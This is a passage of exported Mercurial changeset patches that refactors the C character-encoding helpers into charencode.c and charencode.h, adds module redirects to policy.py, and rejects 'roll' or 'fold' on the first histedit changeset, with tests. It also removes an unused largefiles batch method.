-	ver = PyObject_GetAttrString(sys, "hexversion");
-	Py_DECREF(sys);
-	if (!ver)
-		return -1;
-	hexversion = PyInt_AsLong(ver);
-	Py_DECREF(ver);
-	/* sys.hexversion is a 32-bit number by default, so the -1 case
-	 * should only occur in unusual circumstances (e.g. if sys.hexversion
-	 * is manually set to an invalid value). */
-	if ((hexversion == -1) || (hexversion >> 16 != PY_VERSION_HEX >> 16)) {
-		PyErr_Format(PyExc_ImportError, "%s: The Mercurial extension "
-			"modules were compiled with Python " PY_VERSION ", but "
-			"Mercurial is currently using Python with sys.hexversion=%ld: "
-			"Python %s\n at: %s", versionerrortext, hexversion,
-			Py_GetVersion(), Py_GetProgramFullPath());
-		return -1;
-	}
-	return 0;
-}
-
-#ifdef IS_PY3K
-static struct PyModuleDef parsers_module = {
-	PyModuleDef_HEAD_INIT,
-	"parsers",
-	parsers_doc,
-	-1,
-	methods
-};
-
-PyMODINIT_FUNC PyInit_parsers(void)
-{
-	PyObject *mod;
-
-	if (check_python_version() == -1)
-		return NULL;
-	mod = PyModule_Create(&parsers_module);
-	module_init(mod);
-	return mod;
-}
-#else
-PyMODINIT_FUNC initparsers(void)
-{
-	PyObject *mod;
-
-	if (check_python_version() == -1)
-		return;
-	mod = Py_InitModule3("parsers", methods, parsers_doc);
-	module_init(mod);
-}
-#endif
diff --git a/mercurial/cext/manifest.c b/mercurial/cext/manifest.c
--- a/mercurial/cext/manifest.c
+++ b/mercurial/cext/manifest.c
@@ -38,7 +38,7 @@
 #define MANIFEST_NOT_SORTED -2
 #define MANIFEST_MALFORMED -3
 
-/* defined in parsers.c */
+/* defined in charencode.c */
 PyObject *unhexlify(const char *str, int len);
 
 /* get the length of the path for a line */
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -29,131 +29,11 @@
 
 static const char *const versionerrortext = "Python minor version mismatch";
 
-static const char lowertable[128] = {
-	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
-	'\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f',
-	'\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17',
-	'\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f',
-	'\x20', '\x21', '\x22', '\x23', '\x24', '\x25', '\x26', '\x27',
-	'\x28', '\x29', '\x2a', '\x2b', '\x2c', '\x2d', '\x2e', '\x2f',
-	'\x30', '\x31', '\x32', '\x33', '\x34', '\x35', '\x36', '\x37',
-	'\x38', '\x39', '\x3a', '\x3b', '\x3c', '\x3d', '\x3e', '\x3f',
-	'\x40',
-	        '\x61', '\x62', '\x63', '\x64', '\x65', '\x66', '\x67', /* A-G */
-	'\x68', '\x69', '\x6a', '\x6b', '\x6c', '\x6d', '\x6e', '\x6f', /* H-O */
-	'\x70', '\x71', '\x72', '\x73', '\x74', '\x75', '\x76', '\x77', /* P-W */
-	'\x78', '\x79', '\x7a',                                         /* X-Z */
-	                        '\x5b', '\x5c', '\x5d', '\x5e', '\x5f',
-	'\x60', '\x61', '\x62', '\x63', '\x64', '\x65', '\x66', '\x67',
-	'\x68', '\x69', '\x6a', '\x6b', '\x6c', '\x6d', '\x6e', '\x6f',
-	'\x70', '\x71', '\x72', '\x73', '\x74', '\x75', '\x76', '\x77',
-	'\x78', '\x79', '\x7a', '\x7b', '\x7c', '\x7d', '\x7e', '\x7f'
-};
-
-static const char uppertable[128] = {
-	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
-	'\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f',
-	'\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17',
-	'\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f',
-	'\x20', '\x21', '\x22', '\x23', '\x24', '\x25', '\x26', '\x27',
-	'\x28', '\x29', '\x2a', '\x2b', '\x2c', '\x2d', '\x2e', '\x2f',
-	'\x30', '\x31', '\x32', '\x33', '\x34', '\x35', '\x36', '\x37',
-	'\x38', '\x39', '\x3a', '\x3b', '\x3c', '\x3d', '\x3e', '\x3f',
-	'\x40', '\x41', '\x42', '\x43', '\x44', '\x45', '\x46', '\x47',
-	'\x48', '\x49', '\x4a', '\x4b', '\x4c', '\x4d', '\x4e', '\x4f',
-	'\x50', '\x51', '\x52', '\x53', '\x54', '\x55', '\x56', '\x57',
-	'\x58', '\x59', '\x5a', '\x5b', '\x5c', '\x5d', '\x5e', '\x5f',
-	'\x60',
-		'\x41', '\x42', '\x43', '\x44', '\x45', '\x46', '\x47', /* a-g */
-	'\x48', '\x49', '\x4a', '\x4b', '\x4c', '\x4d', '\x4e', '\x4f', /* h-o */
-	'\x50', '\x51', '\x52', '\x53', '\x54', '\x55', '\x56', '\x57', /* p-w */
-	'\x58', '\x59', '\x5a', 					/* x-z */
-				'\x7b', '\x7c', '\x7d', '\x7e', '\x7f'
-};
-
-/*
- * Turn a hex-encoded string into binary.
- */
-PyObject *unhexlify(const char *str, int len)
-{
-	PyObject *ret;
-	char *d;
-	int i;
-
-	ret = PyBytes_FromStringAndSize(NULL, len / 2);
-
-	if (!ret)
-		return NULL;
-
-	d = PyBytes_AsString(ret);
-
-	for (i = 0; i < len;) {
-		int hi = hexdigit(str, i++);
-		int lo = hexdigit(str, i++);
-		*d++ = (hi << 4) | lo;
-	}
-
-	return ret;
-}
-
-static inline PyObject *_asciitransform(PyObject *str_obj,
-					const char table[128],
-					PyObject *fallback_fn)
-{
-	char *str, *newstr;
-	Py_ssize_t i, len;
-	PyObject *newobj = NULL;
-	PyObject *ret = NULL;
-
-	str = PyBytes_AS_STRING(str_obj);
-	len = PyBytes_GET_SIZE(str_obj);
-
-	newobj = PyBytes_FromStringAndSize(NULL, len);
-	if (!newobj)
-		goto quit;
-
-	newstr = PyBytes_AS_STRING(newobj);
-
-	for (i = 0; i < len; i++) {
-		char c = str[i];
-		if (c & 0x80) {
-			if (fallback_fn != NULL) {
-				ret = PyObject_CallFunctionObjArgs(fallback_fn,
-					str_obj, NULL);
-			} else {
-				PyObject *err = PyUnicodeDecodeError_Create(
-					"ascii", str, len, i, (i + 1),
-					"unexpected code byte");
-				PyErr_SetObject(PyExc_UnicodeDecodeError, err);
-				Py_XDECREF(err);
-			}
-			goto quit;
-		}
-		newstr[i] = table[(unsigned char)c];
-	}
-
-	ret = newobj;
-	Py_INCREF(ret);
-quit:
-	Py_XDECREF(newobj);
-	return ret;
-}
-
-static PyObject *asciilower(PyObject *self, PyObject *args)
-{
-	PyObject *str_obj;
-	if (!PyArg_ParseTuple(args, "O!:asciilower", &PyBytes_Type, &str_obj))
-		return NULL;
-	return _asciitransform(str_obj, lowertable, NULL);
-}
-
-static PyObject *asciiupper(PyObject *self, PyObject *args)
-{
-	PyObject *str_obj;
-	if (!PyArg_ParseTuple(args, "O!:asciiupper", &PyBytes_Type, &str_obj))
-		return NULL;
-	return _asciitransform(str_obj, uppertable, NULL);
-}
+/* defined in charencode.c */
+PyObject *unhexlify(const char *str, int len);
+PyObject *asciilower(PyObject *self, PyObject *args);
+PyObject *asciiupper(PyObject *self, PyObject *args);
+PyObject *make_file_foldmap(PyObject *self, PyObject *args);
 
 static PyObject *dict_new_presized(PyObject *self, PyObject *args)
 {
@@ -165,77 +45,6 @@
 	return _dict_new_presized(expected_size);
 }
 
-static PyObject *make_file_foldmap(PyObject *self, PyObject *args)
-{
-	PyObject *dmap, *spec_obj, *normcase_fallback;
-	PyObject *file_foldmap = NULL;
-	enum normcase_spec spec;
-	PyObject *k, *v;
-	dirstateTupleObject *tuple;
-	Py_ssize_t pos = 0;
-	const char *table;
-
-	if (!PyArg_ParseTuple(args, "O!O!O!:make_file_foldmap",
-			      &PyDict_Type, &dmap,
-			      &PyInt_Type, &spec_obj,
-			      &PyFunction_Type, &normcase_fallback))
-		goto quit;
-
-	spec = (int)PyInt_AS_LONG(spec_obj);
-	switch (spec) {
-	case NORMCASE_LOWER:
-		table = lowertable;
-		break;
-	case NORMCASE_UPPER:
-		table = uppertable;
-		break;
-	case NORMCASE_OTHER:
-		table = NULL;
-		break;
-	default:
-		PyErr_SetString(PyExc_TypeError, "invalid normcasespec");
-		goto quit;
-	}
-
-	/* Add some more entries to deal with additions outside this
-	   function. */
-	file_foldmap = _dict_new_presized((PyDict_Size(dmap) / 10) * 11);
-	if (file_foldmap == NULL)
-		goto quit;
-
-	while (PyDict_Next(dmap, &pos, &k, &v)) {
-		if (!dirstate_tuple_check(v)) {
-			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
-			goto quit;
-		}
-
-		tuple = (dirstateTupleObject *)v;
-		if (tuple->state != 'r') {
-			PyObject *normed;
-			if (table != NULL) {
-				normed = _asciitransform(k, table,
-					normcase_fallback);
-			} else {
-				normed = PyObject_CallFunctionObjArgs(
-					normcase_fallback, k, NULL);
-			}
-
-			if (normed == NULL)
-				goto quit;
-			if (PyDict_SetItem(file_foldmap, normed, k) == -1) {
-				Py_DECREF(normed);
-				goto quit;
-			}
-			Py_DECREF(normed);
-		}
-	}
-	return file_foldmap;
-quit:
-	Py_XDECREF(file_foldmap);
-	return NULL;
-}
-
 /*
  * This code assumes that a manifest is stitched together with newline
  * ('\n') characters.
diff --git a/setup.py b/setup.py
--- a/setup.py
+++ b/setup.py
@@ -760,7 +760,8 @@
                                         'mercurial/cext/mpatch.c'],
               include_dirs=common_include_dirs,
               depends=common_depends),
-    Extension('mercurial.cext.parsers', ['mercurial/cext/dirs.c',
+    Extension('mercurial.cext.parsers', ['mercurial/cext/charencode.c',
+                                         'mercurial/cext/dirs.c',
                                          'mercurial/cext/manifest.c',
                                          'mercurial/cext/parsers.c',
                                          'mercurial/cext/pathencode.c',
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1495344202 -32400
#      Sun May 21 14:23:22 2017 +0900
# Node ID 0f4ac3b6dee4d58d9b46f0e6bb95a9d8b478d88d
# Parent  e9996bd7203f99494c4701b8218335b02798d36e
cext: factor out header for charencode.c

This merges a part of util.h with the header which should exist for
charencode.c.

diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -9,6 +9,7 @@
 
 #include <Python.h>
 
+#include "charencode.h"
 #include "util.h"
 
 static const char lowertable[128] = {
diff --git a/mercurial/cext/util.h b/mercurial/cext/charencode.h
copy from mercurial/cext/util.h
copy to mercurial/cext/charencode.h
--- a/mercurial/cext/util.h
+++ b/mercurial/cext/charencode.h
@@ -1,29 +1,15 @@
 /*
- util.h - utility functions for interfacing with the various python APIs.
+ charencode.h - miscellaneous character encoding
 
  This software may be used and distributed according to the terms of
  the GNU General Public License, incorporated herein by reference.
 */
 
-#ifndef _HG_UTIL_H_
-#define _HG_UTIL_H_
-
-#include "compat.h"
-
-#if PY_MAJOR_VERSION >= 3
-#define IS_PY3K
-#endif
+#ifndef _HG_CHARENCODE_H_
+#define _HG_CHARENCODE_H_
 
-typedef struct {
-	PyObject_HEAD
-	char state;
-	int mode;
-	int size;
-	int mtime;
-} dirstateTupleObject;
-
-extern PyTypeObject dirstateTupleType;
-#define dirstate_tuple_check(op) (Py_TYPE(op) == &dirstateTupleType)
+#include <Python.h>
+#include "compat.h"
 
 /* This should be kept in sync with normcasespecs in encoding.py. */
 enum normcase_spec {
@@ -32,27 +18,10 @@
 	NORMCASE_OTHER = 0
 };
 
-#define MIN(a, b) (((a)<(b))?(a):(b))
-/* VC9 doesn't include bool and lacks stdbool.h based on my searching */
-#if defined(_MSC_VER) || __STDC_VERSION__ < 199901L
-#define true 1
-#define false 0
-typedef unsigned char bool;
-#else
-#include <stdbool.h>
-#endif
-
-static inline PyObject *_dict_new_presized(Py_ssize_t expected_size)
-{
-	/* _PyDict_NewPresized expects a minused parameter, but it actually
-	   creates a dictionary that's the nearest power of two bigger than the
-	   parameter. For example, with the initial minused = 1000, the
-	   dictionary created has size 1024. Of course in a lot of cases that
-	   can be greater than the maximum load factor Python's dict object
-	   expects (= 2/3), so as soon as we cross the threshold we'll resize
-	   anyway. So create a dictionary that's at least 3/2 the size. */
-	return _PyDict_NewPresized(((1 + expected_size) / 2) * 3);
-}
+PyObject *unhexlify(const char *str, int len);
+PyObject *asciilower(PyObject *self, PyObject *args);
+PyObject *asciiupper(PyObject *self, PyObject *args);
+PyObject *make_file_foldmap(PyObject *self, PyObject *args);
 
 static const int8_t hextable[256] = {
 	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
@@ -85,4 +54,4 @@
 	return 0;
 }
 
-#endif /* _HG_UTIL_H_ */
+#endif /* _HG_CHARENCODE_H_ */
diff --git a/mercurial/cext/manifest.c b/mercurial/cext/manifest.c
--- a/mercurial/cext/manifest.c
+++ b/mercurial/cext/manifest.c
@@ -12,6 +12,7 @@
 #include <string.h>
 #include <stdlib.h>
 
+#include "charencode.h"
 #include "util.h"
 
 #define DEFAULT_LINES 100000
@@ -38,9 +39,6 @@
 #define MANIFEST_NOT_SORTED -2
 #define MANIFEST_MALFORMED -3
 
-/* defined in charencode.c */
-PyObject *unhexlify(const char *str, int len);
-
 /* get the length of the path for a line */
 static size_t pathlen(line *l) {
 	return strlen(l->start);
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -12,6 +12,7 @@
 #include <stddef.h>
 #include <string.h>
 
+#include "charencode.h"
 #include "util.h"
 #include "bitmanipulation.h"
 
@@ -29,12 +30,6 @@
 
 static const char *const versionerrortext = "Python minor version mismatch";
 
-/* defined in charencode.c */
-PyObject *unhexlify(const char *str, int len);
-PyObject *asciilower(PyObject *self, PyObject *args);
-PyObject *asciiupper(PyObject *self, PyObject *args);
-PyObject *make_file_foldmap(PyObject *self, PyObject *args);
-
 static PyObject *dict_new_presized(PyObject *self, PyObject *args)
 {
 	Py_ssize_t expected_size;
diff --git a/mercurial/cext/revlog.c b/mercurial/cext/revlog.c
--- a/mercurial/cext/revlog.c
+++ b/mercurial/cext/revlog.c
@@ -13,6 +13,7 @@
 #include <stddef.h>
 #include <string.h>
 
+#include "charencode.h"
 #include "util.h"
 #include "bitmanipulation.h"
 
diff --git a/mercurial/cext/util.h b/mercurial/cext/util.h
--- a/mercurial/cext/util.h
+++ b/mercurial/cext/util.h
@@ -25,13 +25,6 @@
 extern PyTypeObject dirstateTupleType;
 #define dirstate_tuple_check(op) (Py_TYPE(op) == &dirstateTupleType)
 
-/* This should be kept in sync with normcasespecs in encoding.py. */
-enum normcase_spec {
-	NORMCASE_LOWER = -1,
-	NORMCASE_UPPER = 1,
-	NORMCASE_OTHER = 0
-};
-
 #define MIN(a, b) (((a)<(b))?(a):(b))
 /* VC9 doesn't include bool and lacks stdbool.h based on my searching */
 #if defined(_MSC_VER) || __STDC_VERSION__ < 199901L
@@ -54,35 +47,4 @@
 	return _PyDict_NewPresized(((1 + expected_size) / 2) * 3);
 }
 
-static const int8_t hextable[256] = {
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	 0,  1,  2,  3,  4,  5,  6,  7,  8,  9, -1, -1, -1, -1, -1, -1, /* 0-9 */
-	-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* A-F */
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* a-f */
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
-};
-
-static inline int hexdigit(const char *p, Py_ssize_t off)
-{
-	int8_t val = hextable[(unsigned char)p[off]];
-
-	if (val >= 0) {
-		return val;
-	}
-
-	PyErr_SetString(PyExc_ValueError, "input contains non-hex character");
-	return 0;
-}
-
 #endif /* _HG_UTIL_H_ */
diff --git a/setup.py b/setup.py
--- a/setup.py
+++ b/setup.py
@@ -767,7 +767,7 @@
                                          'mercurial/cext/pathencode.c',
                                          'mercurial/cext/revlog.c'],
               include_dirs=common_include_dirs,
-              depends=common_depends),
+              depends=common_depends + ['mercurial/cext/charencode.h']),
     Extension('mercurial.cext.osutil', ['mercurial/cext/osutil.c'],
               include_dirs=common_include_dirs,
               extra_compile_args=osutil_cflags,
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1501509486 -32400
#      Mon Jul 31 22:58:06 2017 +0900
# Node ID a22339d389d456f2ee4573ffaa668860335700f6
# Parent  0f4ac3b6dee4d58d9b46f0e6bb95a9d8b478d88d
cext: modernize charencode.c to use Py_ssize_t

diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -7,6 +7,7 @@
  the GNU General Public License, incorporated herein by reference.
 */
 
+#define PY_SSIZE_T_CLEAN
 #include <Python.h>
 
 #include "charencode.h"
@@ -57,11 +58,11 @@
 /*
  * Turn a hex-encoded string into binary.
  */
-PyObject *unhexlify(const char *str, int len)
+PyObject *unhexlify(const char *str, Py_ssize_t len)
 {
 	PyObject *ret;
 	char *d;
-	int i;
+	Py_ssize_t i;
 
 	ret = PyBytes_FromStringAndSize(NULL, len / 2);
 
diff --git a/mercurial/cext/charencode.h b/mercurial/cext/charencode.h
--- a/mercurial/cext/charencode.h
+++ b/mercurial/cext/charencode.h
@@ -18,7 +18,7 @@
 	NORMCASE_OTHER = 0
 };
 
-PyObject *unhexlify(const char *str, int len);
+PyObject *unhexlify(const char *str, Py_ssize_t len);
 PyObject *asciilower(PyObject *self, PyObject *args);
 PyObject *asciiupper(PyObject *self, PyObject *args);
 PyObject *make_file_foldmap(PyObject *self, PyObject *args);
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -85,7 +85,7 @@
 
 		nlen = newline - zero - 1;
 
-		node = unhexlify(zero + 1, nlen > 40 ? 40 : (int)nlen);
+		node = unhexlify(zero + 1, nlen > 40 ? 40 : (Py_ssize_t)nlen);
 		if (!node)
 			goto bail;
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1501512036 -32400
#      Mon Jul 31 23:40:36 2017 +0900
# Node ID cd2aca0808f859d2bcd7643a2b5cffadbbdab947
# Parent  a22339d389d456f2ee4573ffaa668860335700f6
policy: reroute proxy modules internally

This allows us to split encoding functions from pure.parsers without doing
that for cext.parsers. See the next patch for why.

diff --git a/mercurial/cffi/base85.py b/mercurial/cffi/base85.py
deleted file mode 100644
--- a/mercurial/cffi/base85.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# base85.py: pure python base85 codec
-#
-# Copyright (C) 2009 Brendan Cully <brendan@kublai.com>
-#
-# This software may be used and distributed according to the terms of the
-# GNU General Public License version 2 or any later version.
-
-from __future__ import absolute_import
-
-from ..pure.base85 import *
diff --git a/mercurial/cffi/diffhelpers.py b/mercurial/cffi/diffhelpers.py
deleted file mode 100644
--- a/mercurial/cffi/diffhelpers.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# diffhelpers.py - pure Python implementation of diffhelpers.c
-#
-# Copyright 2009 Matt Mackall <mpm@selenic.com> and others
-#
-# This software may be used and distributed according to the terms of the
-# GNU General Public License version 2 or any later version.
-
-from __future__ import absolute_import
-
-from ..pure.diffhelpers import *
diff --git a/mercurial/cffi/parsers.py b/mercurial/cffi/parsers.py
deleted file mode 100644
--- a/mercurial/cffi/parsers.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# parsers.py - Python implementation of parsers.c
-#
-# Copyright 2009 Matt Mackall <mpm@selenic.com> and others
-#
-# This software may be used and distributed according to the terms of the
-# GNU General Public License version 2 or any later version.
-
-from __future__ import absolute_import
-
-from ..pure.parsers import *
diff --git a/mercurial/policy.py b/mercurial/policy.py
--- a/mercurial/policy.py
+++ b/mercurial/policy.py
@@ -78,6 +78,13 @@
     (r'cext', r'parsers'): 1,
 }
 
+# map import request to other package or module
+_modredirects = {
+    (r'cffi', r'base85'): (r'pure', r'base85'),
+    (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'),
+    (r'cffi', r'parsers'): (r'pure', r'parsers'),
+}
+
 def _checkmod(pkgname, modname, mod):
     expected = _cextversions.get((pkgname, modname))
     actual = getattr(mod, r'version', None)
@@ -94,11 +101,14 @@
         raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
     assert verpkg or purepkg
     if verpkg:
+        pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
         try:
-            mod = _importfrom(verpkg, modname)
-            _checkmod(verpkg, modname, mod)
+            mod = _importfrom(pn, mn)
+            if pn == verpkg:
+                _checkmod(pn, mn, mod)
             return mod
         except ImportError:
             if not purepkg:
                 raise
-    return _importfrom(purepkg, modname)
+    pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
+    return _importfrom(pn, mn)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1501510427 -32400
#      Mon Jul 31 23:13:47 2017 +0900
# Node ID f5fc54e7e467790000c66c4cb1832fd466ab4052
# Parent  cd2aca0808f859d2bcd7643a2b5cffadbbdab947
encoding: drop circular import by proxying through '<policy>.charencode'

I decided not to split charencode.c to new C extension module because it
would duplicate binary codes unnecessarily.

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -18,6 +18,11 @@
     pycompat,
 )
 
+charencode = policy.importmod(r'charencode')
+
+asciilower = charencode.asciilower
+asciiupper = charencode.asciiupper
+
 _sysstr = pycompat.sysstr
 
 if pycompat.ispy3:
@@ -318,38 +323,6 @@
             return concat(usub.encode(_sysstr(encoding)))
     return ellipsis # no enough room for multi-column characters
 
-def _asciilower(s):
-    '''convert a string to lowercase if ASCII
-
-    Raises UnicodeDecodeError if non-ASCII characters are found.'''
-    s.decode('ascii')
-    return s.lower()
-
-def asciilower(s):
-    # delay importing avoids cyclic dependency around "parsers" in
-    # pure Python build (util => i18n => encoding => parsers => util)
-    parsers = policy.importmod(r'parsers')
-    impl = getattr(parsers, 'asciilower', _asciilower)
-    global asciilower
-    asciilower = impl
-    return impl(s)
-
-def _asciiupper(s):
-    '''convert a string to uppercase if ASCII
-
-    Raises UnicodeDecodeError if non-ASCII characters are found.'''
-    s.decode('ascii')
-    return s.upper()
-
-def asciiupper(s):
-    # delay importing avoids cyclic dependency around "parsers" in
-    # pure Python build (util => i18n => encoding => parsers => util)
-    parsers = policy.importmod(r'parsers')
-    impl = getattr(parsers, 'asciiupper', _asciiupper)
-    global asciiupper
-    asciiupper = impl
-    return impl(s)
-
 def lower(s):
     "best-effort encoding-aware case-folding of local string s"
     try:
diff --git a/mercurial/policy.py b/mercurial/policy.py
--- a/mercurial/policy.py
+++ b/mercurial/policy.py
@@ -80,7 +80,9 @@
 
 # map import request to other package or module
 _modredirects = {
+    (r'cext', r'charencode'): (r'cext', r'parsers'),
     (r'cffi', r'base85'): (r'pure', r'base85'),
+    (r'cffi', r'charencode'): (r'pure', r'charencode'),
     (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'),
     (r'cffi', r'parsers'): (r'pure', r'parsers'),
 }
diff --git a/mercurial/pure/charencode.py b/mercurial/pure/charencode.py
new file mode 100644
--- /dev/null
+++ b/mercurial/pure/charencode.py
@@ -0,0 +1,22 @@
+# charencode.py - miscellaneous character encoding
+#
+#  Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+from __future__ import absolute_import
+
+def asciilower(s):
+    '''convert a string to lowercase if ASCII
+
+    Raises UnicodeDecodeError if non-ASCII characters are found.'''
+    s.decode('ascii')
+    return s.lower()
+
+def asciiupper(s):
+    '''convert a string to uppercase if ASCII
+
+    Raises UnicodeDecodeError if non-ASCII characters are found.'''
+    s.decode('ascii')
+    return s.upper()
# HG changeset patch
# User André Klitzing <aklitzing@gmail.com>
# Date 1502457641 -7200
#      Fri Aug 11 15:20:41 2017 +0200
# Node ID c26a76e1af36afa7abdb66750d84efededacbaed
# Parent  f5fc54e7e467790000c66c4cb1832fd466ab4052
histedit: check first changeset for verb "roll" or "fold" (issue5498)

If someone changes "pick" to "roll" or "fold" for the first
changeset in a histedit rule Mercurial could remove a wrong
changeset if the phase is non-public.

roll or fold for the first changeset should be invalid.

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -1417,6 +1417,11 @@
     expected = set(c.node() for c in ctxs)
     seen = set()
     prev = None
+
+    if actions and actions[0].verb in ['roll', 'fold']:
+        raise error.ParseError(_('first changeset cannot use verb "%s"') %
+                               actions[0].verb)
+
     for action in actions:
         action.verify(prev, expected, seen)
         prev = action
diff --git a/tests/test-histedit-edit.t b/tests/test-histedit-edit.t
--- a/tests/test-histedit-edit.t
+++ b/tests/test-histedit-edit.t
@@ -460,7 +460,7 @@
   > EOF
   $ HGEDITOR="sh ../edit.sh" hg histedit 2
   warning: histedit rules saved to: .hg/histedit-last-edit.txt
-  hg: parse error: cannot fold into public change 18aa70c8ad22
+  hg: parse error: first changeset cannot use verb "fold"
   [255]
   $ cat .hg/histedit-last-edit.txt
   fold 0012be4a27ea 2 extend a
diff --git a/tests/test-histedit-fold.t b/tests/test-histedit-fold.t
--- a/tests/test-histedit-fold.t
+++ b/tests/test-histedit-fold.t
@@ -541,3 +541,36 @@
   END
 
   $ cd ..
+
+Test rolling into a commit with multiple children (issue5498)
+
+  $ hg init roll
+  $ cd roll
+  $ echo a > a
+  $ hg commit -qAm aa
+  $ echo b > b
+  $ hg commit -qAm bb
+  $ hg up -q ".^"
+  $ echo c > c
+  $ hg commit -qAm cc
+  $ hg log -G -T '{node|short} {desc}'
+  @  5db65b93a12b cc
+  |
+  | o  301d76bdc3ae bb
+  |/
+  o  8f0162e483d0 aa
+  
+
+  $ hg histedit . --commands - << EOF
+  > r 5db65b93a12b
+  > EOF
+  hg: parse error: first changeset cannot use verb "roll"
+  [255]
+  $ hg log -G -T '{node|short} {desc}'
+  @  5db65b93a12b cc
+  |
+  | o  301d76bdc3ae bb
+  |/
+  o  8f0162e483d0 aa
+  
+
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502337843 25200
#      Wed Aug 09 21:04:03 2017 -0700
# Node ID dcdc17551653e1401819fffa9ea3b0fa262c54b4
# Parent  c26a76e1af36afa7abdb66750d84efededacbaed
largefiles: remove remotestore.batch()

This method was added in 9e1616307c4c. AFAICT it didn't do anything at
inception. If it did, there was no test coverage for it because
changing it to raise doesn't fail any tests at that revision.

b6e71f8af5b8 later refactored all remote.batch() calls to
remote.iterbatch(). So if this was somehow used, it isn't called
any more because there are no calls to .batch() remaining in the
repo.

I suspect the original patch author got confused by the distinction
between the peer/remote interface and the largefiles store. The lf
store is a gateway to a peer instance. It exposes additional
lf-specific methods to execute against a peer. However, it is not
a peer and doesn't need to implement batch() because peer itself
does that.

Differential Revision: https://phab.mercurial-scm.org/D316

diff --git a/hgext/largefiles/remotestore.py b/hgext/largefiles/remotestore.py
--- a/hgext/largefiles/remotestore.py
+++ b/hgext/largefiles/remotestore.py
@@ -12,7 +12,6 @@
 from mercurial import (
     error,
     util,
-    wireproto,
 )
 
 from . import (
@@ -109,10 +108,6 @@
                                            'from statlfile (%r)' % stat)
         return failed
 
-    def batch(self):
-        '''Support for remote batching.'''
-        return wireproto.remotebatch(self)
-
     def _put(self, hash, fd):
         '''Put file with the given hash in the remote store.'''
         raise NotImplementedError('abstract method')
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502340705 25200
#      Wed Aug 09 21:51:45 2017 -0700
# Node ID 297d1b70685c770b538def5c51b34f0cc5e8e5c8
# Parent  dcdc17551653e1401819fffa9ea3b0fa262c54b4
wireproto: properly implement batchable checking

remoteiterbatcher (unlike remotebatcher) only supports batchable
commands. This claim can be validated by comparing their
implementations of submit() and noting how remoteiterbatcher assumes
the invoked method has a "batchable" attribute, which is set by
@peer.batchable.

remoteiterbatcher has a custom __getitem__ that was trying to
validate that only batchable methods are called. However, it was only
validating that the called method exists, not that it is batchable.

This wasn't a big deal since remoteiterbatcher.submit() would raise
an AttributeError attempting to `mtd.batchable(...)`.

